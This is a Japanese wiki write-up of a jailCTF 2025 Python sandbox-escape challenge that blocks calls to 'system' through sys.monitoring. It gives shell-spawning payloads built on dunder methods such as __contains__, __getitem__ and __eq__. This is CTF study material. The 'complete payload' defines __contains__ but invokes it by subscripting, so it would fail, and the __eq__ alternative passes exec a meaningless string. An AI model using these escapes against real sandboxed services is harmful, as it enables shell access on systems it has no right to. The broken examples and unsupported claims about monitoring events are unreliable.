pyjail wiki

jailCTF 2025 - computer-monitor

Challenge

Python 3.12+ の sys.monitoring で関数呼び出しを検出する pyjail。

import sys
def on_call(code, offset, callable, arg0):
if callable.__name__ == 'system':
raise RuntimeError("Blocked!")
return sys.monitoring.DISABLE
sys.monitoring.use_tool_id(1)
sys.monitoring.register_callback(1, sys.monitoring.events.CALL, on_call)
sys.monitoring.set_events(1, sys.monitoring.events.CALL)
code = input()
eval(code)

Solution

__contains__ による暗黙的呼び出し

in 演算子は __contains__ を呼び出すが、これは通常の CALL イベントとは異なる扱いを受ける:

class Evil:
def __contains__(self, item):
__import__('os').system('sh')
return True
'x' in Evil()

CALL イベントを回避

__contains__CALL ではなく別のイベントカテゴリで処理される場合がある。

完全なペイロード

# __contains__ を定義したオブジェクトを使用
type('E', (), {'__contains__': lambda s, x: __import__('os').system('sh')})()['']

Technical Details

sys.monitoring (Python 3.12+)

PEP 669 で導入された低レベル監視API:

import sys
# ツールIDを登録
sys.monitoring.use_tool_id(1)
# コールバックを登録
sys.monitoring.register_callback(
1,
sys.monitoring.events.CALL,
callback_function
)
# 監視を有効化
sys.monitoring.set_events(1, sys.monitoring.events.CALL)

監視イベントの種類

イベント説明
CALL関数呼び出し
RETURN関数からの戻り
LINE新しい行の実行
BRANCH分岐
EXCEPTION_HANDLED例外処理

dunder メソッドの特殊性

多くの dunder メソッドは最適化のため、通常の CALL イベントをトリガーしない:

  • __contains__ (in 演算子)
  • __getitem__ ([] 演算子)
  • __add__ (+ 演算子)
  • __call__ (呼び出し演算子)

Alternative Solutions

別解1: __getitem__

type('E', (), {'__getitem__': lambda s, x: exec(x)})()['import os; os.system("sh")']

別解2: __eq__

type('E', (), {'__eq__': lambda s, x: exec(x)})() == 'payload'

Flag

jail{...}

References

  • jailCTF 2025 Official
  • PEP 669 - Low Impact Monitoring for CPython